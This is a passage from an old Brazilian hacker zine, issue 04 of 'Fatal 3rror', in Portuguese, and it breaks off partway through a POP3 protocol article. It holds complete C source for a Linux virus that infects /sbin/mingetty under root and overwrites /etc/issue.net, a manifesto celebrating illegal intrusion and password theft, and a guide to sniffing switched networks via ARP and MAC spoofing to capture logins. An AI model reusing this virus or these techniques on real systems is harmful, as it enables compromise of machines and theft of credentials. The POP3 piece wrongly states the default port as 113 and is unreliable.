Copy Link
Add to Bookmark
Report
Fatal 3rror - No. 04
________________________ _______________________________
/ __________ _______ / /_____ _____by_Cheat_Struck__/
/ /__ ___ / /___ / / ___/ /___ ___ __ ___
/ ___// o \ / // o \ / / /__ // o \ / o \ / \ / o \
/ / / _ // // _ // /___ _____/ // _ // _ // O // _ /
/__/ / //_// // //_//_____/ /_______// / \_\ / \_\\__// / \_\
)/ )/ )/ )/ )/ )/
' ' ' ' ' '
Everyone here hates everyone here for doing just like they do.
Fatal 3rror
Edition.......04
Date..........Some_Day/03/01
By............Cheat Struck
Email.........cheat@struck.8m.com
cszine@email.com
decopudim@ig.com.br
Page..........http://struck.8m.com/f3
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 00 - TopicZ ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
.od[ 00 ]bo. TopicZ / Cheat Struck
.od[ 01 ]bo. Introducao / Cheat Struck
.od[ 02 ]bo. TipZ / Cheat Struck
.od[ 03 ]bo. Piratas Modernos / Cheat Struck
.od[ 04 ]bo. A ARTE DE SNIFFAR REDES ETHERNET SEGMENTADAS
/ syscall
.od[ 05 ]bo. Virii in Linux / Cheat Struck
.od[ 06 ]bo. Cracking / Cheat Struck
.od[ 07 ]bo. Protocolos Parte I - pop3 / pcHazard
.od[ 08 ]bo. Curiosidades sobre o Chaves / Cheat Struck
.od[ 09 ]bo. Overfl0w Dictionaty / Cheat Struck
.od[ 10 ]bo. Mandando y Spoofeando Mails Falsos de Latin Mail
/ ßµlÔ_©ÚÛl
.od[ 11 ]bo. Heap Overflow: exemplo simplicado / c0nd0r
.od[ 12 ]bo. idiot things about phreak / Cheat Struck
.od[ 13 ]bo. Wrapper + C + Xterm / kamikase shell
.od[ 14 ]bo. RELATO SOBRE A CETERP DE RIBEIRAO PRETO
/ OverniX
.od[ 15 ]bo. Sempre Alertas Escoteiros mirins! / Cheat Struck
.od[ 16 ]bo. Monitorando telnet usando "in.telnetsnoopd"
/ Tinker Train
.od[ 17 ]bo. Hack Test / Cheat Struck
.od[ 18 ]bo. Super Progs!!! / Cheat Struck
.od[ 19 ]bo. 3m4ilZ / Cheat Struck
.od[ 20 ]bo. This is d end / Cheat Struck
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 01 - Introducao ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Aeee!!! Estou devolta depois de exaustivos meses dedicados ao estudo,
a bebida e as mulheres. Mas depois de tudo isso, estou feliz por ter garan-
tido minha vaga na pucrs, aumentado minha resistencia ao alcool e minha
lista de telefones... =)
Qdo eu voltei, o clima aki no Brasil estava meio quente por causa de
frequentes invasoes a sites relacionados a seguranca cujo nao vale a pena
citar nomes. Porem alguns sites invadidos sao, a meu respeito, os melhores
sites brasileiros de security. Talvez por issu as coisas fikaram tao feia
para o lado do invasor: psaux.
A fatal 3rror eh uma zine, nao um grupo, e por issu nao se responsabiliza
pelos atos de seus autores.
Agora, do meu ponto de vista, essas invasoes serviram para mostrar a
comunidade hacker/securiter brasileira muitas coisas:
A primeira com certeza e' que nem mesmo os melhores securiters do brasil
estao realmente preparados para proteger seus sistemas contra ataques
mais articulados como este. O bug exploitado, por ser 0day, nao havia como
ser fixado mas poderia ser no minimo monitorado para evitar que as invasoes
se repetissem como aconteceu.
Tambem fiquei impressionado com a ignorancia de lamahs que se indignaram
com a declaracao do psaux aos "hackers brasileiros" (com aspas nitidamente
demonstrando ironia). Se vc leu os emails enviados a insecure percebera
do que estou falando. Eles acusam o psaux de ter usado um exploit, que a
propria securenet criou, contra a mesma; Inventam alguem para assumir a id
do psaux; Titulam a hackweiser de grupo lamah sem ao menos direito o grupo.
Porra!
Se vc nao eh um dos 0wnados ou amigo dos mesmos, entao vc nao tem motivo
para odiar o psaux; vc eh apenas um lamah que esta usando isso como pretesto
para ter o que falar no seus kanais "hackers" (ohhh! olhem as aspas aki tb!);
vc esta com inveja dele por ter feito algo que vc nao e' capaz; vc nao foi
afetado por estes defacements e e' idiota o suficiente para assumir sua lamisse
qdo se ofende com as criticas aos "hackers brasileiros".
Prestem atencao!!!
Quem foi criticado foram os que se julgam rackers em quanto mudam htmls
com seus xploits em perl rodados em windows e script-kiddies brasileiros que
acham que por terem uma colecao de xploits ja sao hackers. O Brasil nunca foi
criticado e sim os "rackers".
Eu entendo a raiva dos programadores e securiters da securenet e apoio que
se sintam assim pois eu se fosse 0wnado tb me sentiria. Mas fora estes, nao
consegui encontrar um motivo que nao fosse a propria lamisse.
Issu eh tudo o que tenho a falar sobre este assunto.
Sobre a zine nao preciso falar nada... Voce vai ler ela mesmo.
Ah! Esta zine esta sendo lida tambem no Mexico! Fikei sabendo disso depois
que um mexicano decidiu colaborar com a zine enviando-me uma materia. =)
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 02 - TiPZ ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Autores dessa edicao:
---------------------
Cheat Struck <cheat@struck.8m.com>
pcHazard <cybercrash@ig.com.br>
kamikase shell <kksh@bahia.net>
syscall <syscall@bol.com.br>
Tinker Train <tinker@ieg.com.br>
OverniX <>
ßµlÔ_©ÚÛl <suli_cool@yahoo.com.mx>
c0nd0r <thiago@securenet.com.br>
Onde baixar a Fatal 3rror???
----------------------------
http://struck.8m.com/f3
Extraindo a f3 e seus programas:
--------------------------------
[root@localhost ~]# tar -zxvf f3-03.tgz
f3/
f3/f3-02.txt
f3/extract.c
[root@localhost ~]# cd f3
[root@localhost f3]# gcc extract.c -o extract
[root@localhost f3]# ./extract f3-03.txt
- Extracting virii/virii.c
- Extracting protocolos/pop3/popcrack.pl
- Extracting protocolos/pop3/mbclean.pl
- Extracting protocolos/pop3/pcmail.pl
- Extracting heap/heap.c
- Extracting noaccess/noaccess.c
- Extracting noaccess/ipcaph.d
- Extracting noaccess/install.sh
- Extracting noaccess/kkshflood.c
- Extracting Superprogs/scanport.c
[root@localhost f3]#
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 03 - Piratas Modernos ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Quem ainda nao cansou de ouvir reportagens dizendo "Os hackers, os piratas
de computador, atacaram mais um site na internet, a rede mundial de comps"???
Para os leigos isso vira motivo de medo e revolta.
Porem, para os que entendem do assunto sabem como essaa materiaa sao
ridiculas.
Deve existir um molde para as reportagens sobre crimes virtuais, pois a
unica coisa q os jornais informam eh o site atacado e o grupo responsavel.
Como a reportagem ficaria mto pequena, eles resolvem encher linguica explicando
repetidas vezes quem sao os hackers e o que e' internet (como se ninguem
soubesse disso ainda).
E' compreensivel que se os jornais entrassem em detalhes sobre os ataques,
apenas uma pequena massa de telespectadores (ou leitores, dependendo do tipo
de jornal) seria atingida.
Entao, por que a imprensa nao tenta entender o que se passa na cabeca desses
"rebeldes virtuais" ao invez de simplesmente divulgar seus feitos???
Eu nao sei se quem nos propagou como os piratas da rede fomos nos mesmos ou
a imprensa, mas sei que ambos os lados estao satisfeitos com esta rotulacao.
Para eles, os piratas nao passavam de ladroes sanguinarios que abordavam
embarcacoes em busca de riquesas e de sangue. Os piratas eram criminosos assim
como nos somos.
Nos temos uma visao diferente dos piratas.
Assim como os piratas nos agimos em um terreno ainda pouco conhecido pelo
mundo. Eles agiam no mar, nos agimos nas redes de computadores.
Quando os piratas atacavam navios negreiros, eles escolhiam os melhores
escravos para fazerem parte da sua tripulacao. Estes ex-escravos chegavam a
assumir cargos altos como o de capitao, o que mostra que entre os piratas nao
havia racismo. Assim como eles, nos nao temos preconceitos raciais. Nao importa
se a pessoa atras da outra maquina for negro, branco, indio, etc. O que importa
eh o que passa na cabeca dela e eh assim que nos as julgamos.
Os piratas do milenio passado e os piratas deste novo milenio tiveram a
coragem de ir contra um sistema injusto e enfrentar a propria patria. Nao temos
nacionalidade e nao aceitamos as coisas do jeito que estao. Por isso nos
rebelamos.
Descobrimos como acabar com aqueles que sao injustos.
Descobrimos como roubar de empresas corruptas.
Descobrimos um novo mundo. Este mundo eh o futuro e nos dominamos hoje o
que dominara' voce no futuro. Nos temos controle sobre as maquinas pois, ao
invez de pensarmos nelas como simples acessorios comodistas, estavamos
estudando como elas funcionavam.
Agora nos controlamos a base para onde o futuro esta voltado: os computadores.
Derrubamos seus sites, pirateamos seus produtos, roubamos seus passwords
por que nao estamos satisfeitos com a situacao.
Optamos por uma manifestacao pacifica.
Ninguem se feriu, ate' hj, por uma invasao hacker.
Mas isso irrita voces.
Entao, que tal se fossemos `as ruas armados com fuzils e matassemos todos
os que sao contra nossos ideais??? Por que nao fazemos isso???
Por que nao podemos. Nos acabariamos presos ou mortos.
Mas aqui quem controla as coisas somos nos. Isso e' o que nos sabemos fazer
e, com certeza, nao e' algo idiota nao, pois se fosse, nao haveria tanta gente
irritada com nossos atos e nao haveriam criado leis contra isso.
O que fazemos agora e' ilegal. Estamos conseguindo atingir voces e por
isso nao iremos parar.
Nao temos um unico ideal. Alguns de nos sao contra o governo; outros, contra
empresas corruptas; e alguns fazem isso por pura diversao, pois ainda estao
exitados com a ideia de poder fazer algo criminoso pelo seu computador. Cada um
tem sua propria maneira de pensar e por isso nos dividimos em grupos.
Ok. Mas ainda nao ficou claro o que leva um hacker a comecar a cometer atos
de pirataria. O mesma coisa que leva um politico a roubar: o poder.
Quando um politico e' eleito, ele percebe que tem o poder de fazer o que ele
bem entender por que ele tem apoio do povo. O povo lhe deu o seu poder.
Nos conquistamos nosso poder sozinhos e quando vimos que havia algo errado
decidimos fazer uso dele. Nao demorou muito para que isso acontece-se.
Agora existem leis contra aquilo que fazemos.
Entao que nos tornemos infrigidores da lei.
Que tornemo-nos manifestantes ilegais.
Vamos violar a lei.
Seremos os piratas da nova era.
Os piratas de computador. Os hackers.
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 04 - A ARTE DE SNIFFAR ~YXXXXx_
_xXXXXXX( REDES ETHERNET SEGMENTADAS )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ syscall _dXXXXP~
~YXXXbx.. ..xdXXXP~
==============================================================================
A ARTE DE SNIFFAR REDES ETHERNET Segmentadas
==============================================================================
syscall@bol.com.br
icq:163
No texto dessa edicao vou falar um pouco sobre sniffers.o pq ? bom, pq 90% das
redes que s„o comprometidas e o root eh conseguido, para se manter o acessso e
progredir a invas„o para demais maquinas muitas vezes se eh utilizado tal ferra
menta.
Por outro lado o uso de sniffers pode ser feito por administrador, para verifi
car o trafego em sua rede para ver o overhead , algum gargalo , analisar algu
mas assinaturas de ataques e etc.
Siga o desenho:
___ ___
| A |--------------|hub |------------------| C |
___ | ---
|
|
_|__
| B |
----
O Host A quer se comunicar com o Host C
1 - O host A transmite um frame pro host C
2 - O Hub faz um broadcast desse frame para todas as suas portas
3 - O Host B vai checkar o endereÁo de MAC destino com o seu, como È dife
rente (normalmente ele descartaria)
4 - Por o Mac Destino ser igual o Mac do C ele ir· processar o pacote
Quando o modo promiscuo eh habilitado numa placa de rede , ela nao faz essa
checkagem de pacotes e todo pacote q bate em sua interface, ela ja' sai proces
sando o mesmo
Como se pode ver, num ambiente de rede nao segmentada acaba se tornando
simples o ato de se sniffar uma rede uma vez q o meio de comunicacao eh compar
tilhado o que permite o acesso direto aos dados transeuntes na rede.
Entretanto como medida de seguranÁa as pessoas/empresas comecaram a usar Switchs
com intuito de aumentar a seguranca entre outras coisas.
O Switch quando usa VLANS (Virtual Lans) trata cada vlan como um segmento, jo
gando os frames ethernets apenas para as portas que tais
enderecos estao relacionados em sua tabela arp e que possua roteamento
para a mesma.
Uma maneira de se sniffar uma rede deste tipo, seria por exemplo:
O atacante manda pacotes arp spoffados para o seu "target" se fazendo passar
pelo seu gateway padrao fazendo q todo trafego gerado pela a maquina target
utilize a maquina atacante como rota default. (a maquina atacante tem de estar
com o ip forwarding habilitado para poder realmente rotear tal trafego ficando
transparente para o target).
Existe tmb a possibilidade de se spoofar a Tabela MAC do switch para causar
um stress violento onde o switch (algumas marcas e modelos)passam a funcionar
como um hub fazendo broadcast dos pacotes para todas as portas.
Outra situacao seria Spoffar o Mac Address de algum servidor POP3 ou Telnet e
aponta lo para o Seu Mac Address, e com o servico pop3 ativo em sua maquina
(ou alguma outra na rede) vc sniffar todos as tentativas de autenticacao dos
usuarios de POP3 da rede.
E por fim (porem nao a ultima) a outra maneira de se sniffar redes segmentadas
por switch, seria a utilizacao de RMON (Remote Monitoring).
O Rmon eh uma padrao q permite estacoes de gerenciamento (RMON PROBE)
e consoles (RMON CONSOLE) trocar informacoes "gerenciais"
Entao por exemplo temos um "RMON probe" capaz de gerenciar um segmento ethernet
e mandar essas informacoes para a "RMON console"
O Rmon eh divido em 9 grupos :
Statistics,alarm,host,HostTopN,matrix, Filters , Packet Capture, events.
Porem a principio apenas o "Filters" e o "Packet Capture" serao importantes.
O Filter eh muito parecido com o Bpf e pode se colocar protocolo , endereco,
porta. porem para esses filtros devem ser capturados de algum jeito, e nada
mais logico de termos um grupo Packet filter, q diz o tamanho dos dados,
status completo...
Quase todo switch tem algumas dos grupos Rmon e quando habilitado possibilita
se sniffar todo o backplane do switch, vc soh precisa claro ter acesso ao
switch (console,telnet,ssh,snmpX e etc..)
Eh isso ai por enquanto eh soh.. talvez no proximo texto eu traga algo sobre
como fazer seu proprio sniffer.
Referencias:www.cisco.com
RFC 1757
TCP/IP ILUSTRATED - Comer =))
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 05 - Virii in Linux ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Bom... vc ja deve ter ouvido falarem que e' impossivel um virus
funcionar em unixes por causa do sistema de permissao de arquivos. A
teoria seria de que o virus nao conseguiria infectar nenhum arquivo a pois
nao teria permissao de escrita neste.
Como ja e' de costume, a pratica contradiz a teoria, e e' issu que
acontece aki novamente.
Para um virus infectar algum arquivo, este precisa de permissao para
escrita no arquivo, e issu pode ser conseguido se o virus tiver como
usuario executor o root.
E como conseguir isto? Facil. Ao invez do virus infectar qualquer
arquivo executavel, ele deve ser direcionado apenas a programas suids,
daemons, programas usados na inicializacao e outros arquivos soh
executaveis pelo root do sistema.
O virus tambem pode infectar qualquer arquivo, desde que leve junto um
conjunto de instrucoes que verifique se o executor eh o root. Em outras
palavras:
if (getuid() == 0) {
Issu verifica se o uid do executor eh 0.
Caso o uid seja 0 as funcoes seguintes devem ser as basicas de um virus:
- Verifica se o arquivo eh ELF;
- Verifica se o arquivo ja foi infectado;
- Se nao foi:
- infecta e pula para o programa original.
- Se foi:
- Verifica se a BOMBA ja deve ser ativada;
- Pula para o programa original.
BOMBA?? Isso mesmo. Este eh o termo usado para o codigo malicioso do
virus. Ou seja, aquele que executa algo que possa irritar o admin. A BOMBA
pode tanto abrir uma backdoor qto alterar um index.html.
Entendido? Seguimos adiante...
O virus que criei como exemplo foi baseado no eworm codeado por sm0g
pela sua simplicidade e facil compreensao.
Usei descaradamente system()'s para o virus fikar pequeno. Ele faz as
verificacoes se o arquivo eh ELF e se ja foi infectado depois infecta-o.
O metodo de executar o programa original ainda eh muito inseguro mas
por hora esta bom. Outros comentarios estao no source.
<++> virii/virii.c
// TestVirus by Cheat Struck
// #########################
//
// Este virus foi feito para estudo.
// Ele foi feito com base no eworm do Dr.sm0g, porem foi muito
// simplificado. A funcao basica do virus eh infectar o /sbin/mingetty.
// O programa abusa de system()'s para diminuir o tamanho.
// A BOMBA deste virus eh alterar o /etc/issue.net. Ela e' ativada apos a
// 2a execucao do arquivo infectado(/sbin/mingetty).
// Assim como o eworm, optei por definir uma variavel para o tamanho do
// virus. Esta variavel deve ser alterada sempre que o source for mudado.
// O virus original fikou com menos de 10k o q e' perfeito para um virus.
// O source esta todo comentado para melhor compreensao.
//
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#define INFECTFILE "/sbin/mingetty"
#define TAMANHO 9421
main(int argc,char *argv[],char *envp[])
{
char Elf[5]={0x7f,0x45,0x4c,0x46,'\0'},
Ebuff[5]={'\0'},
ID[3]={0x45,0x57,'\0'},
Buff[100];
FILE *fp;
int bd=0;
struct stat info,*ip;
stat(argv[0],ip=&info);
//------------------------------
// Verifica se o Executor eh o root
// e se o programa executado eh o virus ou um file infectado.
//------------------------------
if((getuid()==0)&&(ip->st_size==TAMANHO)) bd=1;
if((bd==0)&&(ip->st_size!=TAMANHO)) {
//------------------------------
// Se ja existir o /tmp/duhduh, executa a bomba.
//------------------------------
if(access("/tmp/duhduh",F_OK)==0) {
//BOMBA
//Altera o /etc/issue.net
if (getuid() == 0) {
fp = fopen("/etc/issue.net","w");
fprintf(fp,"This fuck was 0wned!!!!\n");
fclose(fp);
}
execve("/tmp/duhduh",argv,envp);
exit(0);
} else {
//------------------------------
// Se nao existir o /tmp/duhduh, cria-o.
// Este arquivo eh o programa original criado para depois ser executado.
//------------------------------
sprintf(Buff,"tail -c%ld %s> /tmp/duhduh",
(ip->st_size)-TAMANHO, argv[0]);
system(Buff);
sprintf(Buff,"chmod +x /tmp/duhduh"); system(Buff);
execve("/tmp/duhduh",argv,envp);
}
} else {
if (bd=1) {
//------------------------------
// Comeca a infectar...
//------------------------------
// Cria um substituto do arquivo a ser infectado
// para que este seja alterado.
//------------------------------
system("rm -f /tmp/dihdih");
sprintf(Buff,"cp -f %s /tmp/dihdih",INFECTFILE);
system(Buff);
fp = fopen("/tmp/dihdih","r+");
//------------------------------
// Verifica se o arquivo eh ELF
//------------------------------
fread(Ebuff, 4, 1, fp);
if(strcmp(Ebuff,Elf)==0) {
//------------------------------
// Verifica se o arquivo ja foi infectado
//------------------------------
bzero(Ebuff,20);
fseek(fp,-2,SEEK_END);
fread(Ebuff,2,1,fp);
if(strcmp(Ebuff,ID)!=0) {
//------------------------------
// Infecta o arquivo
//------------------------------
fseek(fp,0,SEEK_END);
fwrite(ID,2,1,fp);
fclose(fp);
system("rm -f /tmp/duhduh");
sprintf(Buff, "head -c%i %s >/tmp/duhduh",
TAMANHO, argv[0]);
system(Buff);
sprintf(Buff, "cat /tmp/dihdih >> /tmp/duhduh");
system(Buff);
system("chmod +x /tmp/duhduh");
sprintf(Buff, "rm -f %s",INFECTFILE);
system(Buff);
sprintf(Buff, "mv -f /tmp/duhduh %s",
INFECTFILE);
system(Buff);
}
}
system("rm -f /tmp/dihdih");
}
}
}
<-->
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 06 - Cracking ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Quem sao os crackers?? Hackers do mau? Nah!! issu foi uma coisa que a
imprensa mal-informada colocou na cabeca. Crackers sao programadores que
possuem conhecimento suficiente para burlarem programas.
Um cracker bom na maioria das vezes manja mais do q um hacker bom, pois
o cracker trabalha com programas compilados fazendo alteracoes neste, em
quanto um hacker trabalha com programas open-source criando exploits para
os bugs encontrados.
Assembly e' a melhor linguagem de programacao existente para crackers
entenderem como um OS interpreta a linguagem hexadecimal.
Vou demonstar num exemplo simples com que base este estudo eh feito.
Para nosso exemplo irei usar o Windows como OS. Seria meio ridiculo
estudar Cracking em linux, ja que no linux a maioria dos programas sao
open-source. As ferramentas que iremos utilisar serao o debug do msdos e
um editor hexadecimal qualquer (facil de ser encontrado).
Aviso:
Voce deve ter um minimo conhecimento de ASM para poder entender o
restante do texto perfeitamente.
Comecamos abrindo o debug do msdos:
C:\>debug
-a
12DD:0100 mov al,6a
12DD:0102 int 10
12DD:0104 mov ax,4c00
12DD:0107 int 21
12DD:0109
-rip
IP 0100
:109
-rcx
CX 0000
:09
-n modelo.com
-w
Writing 00009 bytes
-q
C:\>
Com isso criamos um programa "modelo.com" cujo iremos crackear mais
tarde. Todos os comandos usados no prompt "-" sao basicos do debug e sao
facilmente entendidos utilizando a ajuda dele.
Com o comando "a" nos indicamos q vamos comecar a programar em ASM.
O programa criado executa duas funcoes simples:
; Chama a funcao 006a (800x600) do video (interrupcao 10)
MOV AL,6A
INT 10
; Chama a funcao 4c00 (sair) do msdos (interrupcao 21)
MOV AX,4C00
INT 21
Resumidamente, o programa muda o modo de video para 800x600 e depois
sai para o dos. Se quizer testa-lo rode-o no prompt e vc vera o resultado.
Rode, agora, um editor hexadecimal qualquer neste programa. Voce pode
usar o proprio debug mas eu pessoalmente prefiro um editor hexadecimal por
ser muito mais pratico.
De qualquer jeito, mostrarei como fazer para ler o programa em hexade-
cimal pelo debug:
C:\>debug modelo.com
-d 100 108
1303:0100 B0 6A CD 10 B8 00 4C CD-21 .j....L.!
-
Note que se voce estiver num editor hexa, os valores serao os mesmos.
Entao isso nao influencia no Cracking.
Agora como decifrar essa linguagem e transforma-la novamente em ASM.
Cada funcao em ASM e' representada por um caratere hexadecimal. Eis
alguns exemplos:
hexa: B0 xx
funcao: mov al, xx
exemplo: B0 6A
ASM: mov al, 6a
hexa: B4 xx
funcao: mov ah, xx
exemplo: B4 4C
ASM: mov ah, 4c
hexa: B8 xx yy
funcao: mov ax, yyxx
O valor aki e' duplo pois ocupa ah e al.
exemplo: B8 00 4C
ASM: mov ax, 4c00
hexa: CD xx
funcao: int xx
exemplo: CD 21
ASM: int 21
Etc...
Com estes exemplos ja da pra ter uma nocao de como funciona essa
comunicacao entre ASM e a Linguagem compilada. ASM e' basicamente uma
simplificacao da linguagem compilada para deixar a vida do programador
mais facil.
Se voce tiver interessado em como descobrir os hexas que representam
tais funcoes utilize o proprio debug para issu...
-t
AX=006A BX=0000 CX=0009 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
DS=1303 ES=1303 SS=1303 CS=1303 IP=0102 NV UP EI PL NZ NA PO NC
1303:0102 CD10 INT 10
Note a ultima linha. Ela mostra a representasao hexadecimal ( CD10 ) e
a funcao em ASM (INT 10).
Agora vamos traduzir nosso programa:
B0 6A CD 10 B8 00 4C CD 21
B0 6A = mov ah, 6A
CD 10 = int 10
B8 00 4C = mov ax, 4c00
CD 21 = int 21
Uma vez dublado, o programa pode ser facilmente alterado. Vamos alterar
o modo de video usado de 800x600 (6a) para 80x25 (07).
B0 07 CD 10 B8 00 4C CD 21
^^
Pronto! O programa esta alterado. Salve a alteracao e execute-o para
ver o resultado.
Este texto soh foi escrito como uma introducao ao Cracking e nenhum
metodo avancado foi discutido. Se voce quizer apronfundar-se nesta area
procure maior material pela internet. Sites como astalavista.box.sk tem
um otimo conteudo.
O exemplo publicado aki saiu na cszine 08 (antiga zine de minha autoria).
Decidi publica-lo novamente pois muitos leitores da fatal 3rror nao estao
familiarisados com a cszine.
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 07 - Protocolos Parte I - pop3 ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ pcHazard _dXXXXP~
~YXXXbx.. ..xdXXXP~
----------
| Prefacio |
----------
Esta eh a primeira parte de uma serie de textos que escreverei
falando sobre diversos protocolos que costumamos usar no nosso
dia-a-dia. Inicialmente, pretendo falar sobre POP3, SMTP, FTP e
HTTP. Depois, se eu achar algum outro protocolo interessante eu os
passarei a voces. Se desejarem, enviem sugestoes sobre protocolos e seus
respectivos RFCs que eu irei ler e passar para a zine da forma mais clara
possivel. Com base nessas informacoes, o leitor que souber programar em
alguma linguagem como perl, C, delphi etc estara ateh apto a escrever seus
proprios clientes e servidores baseados nesses protocolos.
Todos os textos serao retirados dos seus respectivos RFCs. Para quem
nao sabe, RFC significa Request for Comments, ou requerimento de
comentarios. Para cada tipo de protocolo existe pelo menos um RFC
falando sobre o seu funcionamento. Para alguns protocolos, existem varios
RFCs novos a medida que vao sendo atualizados. Outros RFCs podem ser
encontrados na URL: http://www.cis.ohio-state.edu/htbin/rfc/
Com base nos RFCs, eu irei colocalos em uma maneira mais clara para o
leitor e, e claro, em portugues, visto que os RFCs estao todos em
ingles.
Espero que esta serie de textos seja util para voce assim como foi
para mim, pois me permitiu conhecer melhor os protocolos que eu
usava e escrever clientes simples que satisfazessem minhas necessidades.
Pretendo, apos cada texto, adicionar um cliente simples escrito em PERL
para o protocolo discutido.
------
| POP3 |
------
RFC 1225
RFC 1725
Introducao
O POP, ou Post Office Protocol, foi criado com a intencao de
permitir que usuarios possam ler suas mensagens de e-mail
remotamente sem precisar entrar em uma shell UNIX etc.
O RFC1225 foi criado em Maio de 1991, ou seja, o protocolo POP3,
assim como muitos outros protocolos que ainda usamos hoje em dia
jah eh bem velinho...
O RFC1725 eh uma atualizacao do RFC1225 em que se fez algumas
mudancas:
. Retirou os comandos LAST e RPOP
. Adicionou os comandos APOP e UIDL como comandos extras.
O APOP serve para autenticacao e UIDL serve como chave
de diferenciacao entre uma mensagem e outra.
Apesar do RFC1725 ser mais novo, iremos utilizar aqui como base
o RFC1225 por ser o original, apenas adicionaremos os comandos extras
do RFC1725.
O RFC1225 nao especifica nenhum protocolo de comunicacao
necessario para implementa-lo. Nos, no nosso caso, usamos o TCP
como meio de comunicacao entre o servidor POP3 e o cliente.
Ha no mercado varios clientes e servidores de POP3 para os
mais diversos sistemas operacionais. Um exemplo deles sao:
Servidores:
* QPOP - servidor pop3 muito usado por provedores que rodam
linux, as versoes mais encontradas sao a 2.53 e 3.0
A algum tempo saiu varios exploits para um bug nesse
servidor que disponibilizava uma shell com UID=mail.
Clientes:
* Outlook Express - Criado pela Microsoft, eh muito comum entre
os usuarios windows, e que tambem possui muitos bugs entre
as versoes que atualmente sao usadas por virem como
acompanhamento do Windows.
* KMail - Muito usado pelos usuarios linux, possui uma interface
grafica e requer o KDE instalado.
* Pine - Muito usado entre usuarios linux, possui uma interface
de console e eh menos usado entre usuarios iniciantes.
Alem desses, ha outras formas de facilmente consultar um servidor
POP3: criando seu proprio cliente atraves de codigos ja existentes
como DLLs e componentes para Delphi. Eu, como programador em Delphi
tambem, recomendo o SakEmail.
Basicamente, a comunicacao usando o protocolo POP3 eh feita entre
duas partes: o servidor e o cliente usando o protocolo TCP/IP
e a porta padrao do servidor POP3 eh a 113.
______ _____
___________ | | | | ________
| || |--------------------------| || |
| +OK || | Comunicacao feita | || |
| QPOP 2.53 || | usando TCP/IP | || |
|___________||______| porta 113 |_____||________|
Servidor Linux Voce usando
com QPOP 2.53 Pine, Kmail,
Outlook e etc.
Funcionamento
O servidor, ao ser ativado, aguarda conexoes do cliente POP3 na
porta 113. Ao se estabelecer a conexao, o servidor envia uma
mensagem de boas-vidas. Ex:
OK+ pcHazard Personal POP3 Server v0.01 servicing you
Em toda a transacao, o cliente envia pedidos terminados por um
<CRLF>, quer dizer, um terminador de linha. CRLF significa
Carriage Return Line Feed, ou retorno de carro e alimentacao de
linha. Ele pode variar, mas qualquer servidor ira entender o
conjunto de caracteres ascii 13 e 10 como sendo um <CRLF>.
Depois de cada pedido do cliente, o servidor envia uma resposta.
Existem 2 tipos de respostas vindas por parte do servidor: as
positivas e as negativas. As positivas comecam com um "+OK" e
indica que a operacao foi um sucesso e as negativas comecam com
um "-ERR" e indicam que houve algum erro relacionado ao ultimo
pedido do cliente. Para saber se um pedido foi bem sucedido ou
mal sucedido basta olhar se a resposta comeca com um +OK ou com
um -ERR. A mensagem posterior a esses indicadores variam de
servidor para servidor. As respostas do servidor que possuirem
mais de uma linha terminam com um <CRLF>.<CRLF>
A mensagem de boas-vindas do servidor sempre eh uma mensagem
positiva.
De acordo com o RFC1225, a transacao POP3 eh dividida em 3 partes
imaginarias:
